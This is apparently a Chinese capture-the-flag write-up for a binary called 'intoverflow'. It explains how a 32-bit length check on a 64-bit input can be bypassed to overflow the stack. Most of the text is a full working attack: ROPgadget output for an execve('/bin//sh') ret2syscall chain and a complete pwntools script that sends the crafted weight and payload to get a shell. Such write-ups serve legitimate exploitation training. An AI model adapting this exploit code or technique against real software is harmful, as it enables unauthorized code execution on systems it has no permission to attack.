由寄存器位数差异引发的漏洞利用

Code

|63..32|31..16|15-8|7-0|
               |AH.|AL.|
               |AX.....|
       |EAX............|
|RAX...................|

以上是16，32，64位寄存器的大小。

安全检查

Code

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

IDA分析

可见有一处花指令，先nop掉看逻辑

要求输入小于等于10也就是0xA，否则程序退出。

查看汇编

可以发现

Code

eax               0000 000a
rax     0000 0000 0000 000a
rax     0000 0001 0000 000a    构造成这样也可以通过

cmp指令的隐含操作为 op1-op2判断是否等于0。因此可触发类似整数溢出的漏洞。

于是如果我们构造 0x1 0000 0009 - 0xa 就会将eax内容变为 0xffff ffff，从而在后面的read name可以读大量字节，造成栈溢出。

使用file命令查看发现程序为静态链接

Code

ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=c69a6b123774b6c538eb99551edd57bc703c32f9, not stripped

且程序内有syscall，因此直接使用ret2syscall进行ROP。

对于这道题来说，即可以手工构造给syscall传参，也可以使用 ROPgadget直接生成利用链

Code

ROPgadget --binary intoverflow --ropchain

直接生成如下

python

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

	[+] Gadget found: 0x47c601 mov qword ptr [rsi], rax ; ret
	[+] Gadget found: 0x4017b7 pop rsi ; ret
	[+] Gadget found: 0x480956 pop rax ; pop rdx ; pop rbx ; ret
	[+] Gadget found: 0x42660f xor rax, rax ; ret

- Step 2 -- Init syscall number gadgets

	[+] Gadget found: 0x42660f xor rax, rax ; ret
	[+] Gadget found: 0x46ea20 add rax, 1 ; ret
	[+] Gadget found: 0x46ea21 add eax, 1 ; ret

- Step 3 -- Init syscall arguments gadgets

	[+] Gadget found: 0x401696 pop rdi ; ret
	[+] Gadget found: 0x4017b7 pop rsi ; ret
	[+] Gadget found: 0x442e46 pop rdx ; ret

- Step 4 -- Syscall gadget

	[+] Gadget found: 0x4003da syscall

- Step 5 -- Build the ROP chain

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<Q', 0x00000000004017b7) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ca080) # @ .data
	p += pack('<Q', 0x0000000000480956) # pop rax ; pop rdx ; pop rbx ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x4141414141414141) # padding
	p += pack('<Q', 0x4141414141414141) # padding
	p += pack('<Q', 0x000000000047c601) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004017b7) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ca088) # @ .data + 8
	p += pack('<Q', 0x000000000042660f) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000047c601) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000401696) # pop rdi ; ret
	p += pack('<Q', 0x00000000006ca080) # @ .data
	p += pack('<Q', 0x00000000004017b7) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ca088) # @ .data + 8
	p += pack('<Q', 0x0000000000442e46) # pop rdx ; ret
	p += pack('<Q', 0x00000000006ca088) # @ .data + 8
	p += pack('<Q', 0x000000000042660f) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004003da) # syscall

于是利用思路如下：

1. 输入构造的数字使read参数极大
2. 填充到retn位置
3. 填充rop利用链

exp

python

from pwn import *
from struct import pack
p=process('./intoverflow')

payload='a'*88
payload += pack('<Q', 0x00000000004017b7) # pop rsi ; ret
payload += pack('<Q', 0x00000000006ca080) # @ .data
payload += pack('<Q', 0x0000000000480956) # pop rax ; pop rdx ; pop rbx ; ret
payload += '/bin//sh'
payload += pack('<Q', 0x4141414141414141) # padding
payload += pack('<Q', 0x4141414141414141) # padding
payload += pack('<Q', 0x000000000047c601) # mov qword ptr [rsi], rax ; ret
payload += pack('<Q', 0x00000000004017b7) # pop rsi ; ret
payload += pack('<Q', 0x00000000006ca088) # @ .data + 8
payload += pack('<Q', 0x000000000042660f) # xor rax, rax ; ret
payload += pack('<Q', 0x000000000047c601) # mov qword ptr [rsi], rax ; ret
payload += pack('<Q', 0x0000000000401696) # pop rdi ; ret
payload += pack('<Q', 0x00000000006ca080) # @ .data
payload += pack('<Q', 0x00000000004017b7) # pop rsi ; ret
payload += pack('<Q', 0x00000000006ca088) # @ .data + 8
payload += pack('<Q', 0x0000000000442e46) # pop rdx ; ret
payload += pack('<Q', 0x00000000006ca088) # @ .data + 8
payload += pack('<Q', 0x000000000042660f) # xor rax, rax ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x000000000046ea20) # add rax, 1 ; ret
payload += pack('<Q', 0x00000000004003da) # syscall

p.recvuntil('Plz Input Your weight(kg):\n> ')
p.sendline('4294967290')
p.recvuntil('Good! what\'s your name??\n> ')
p.sendline(payload)

p.interactive()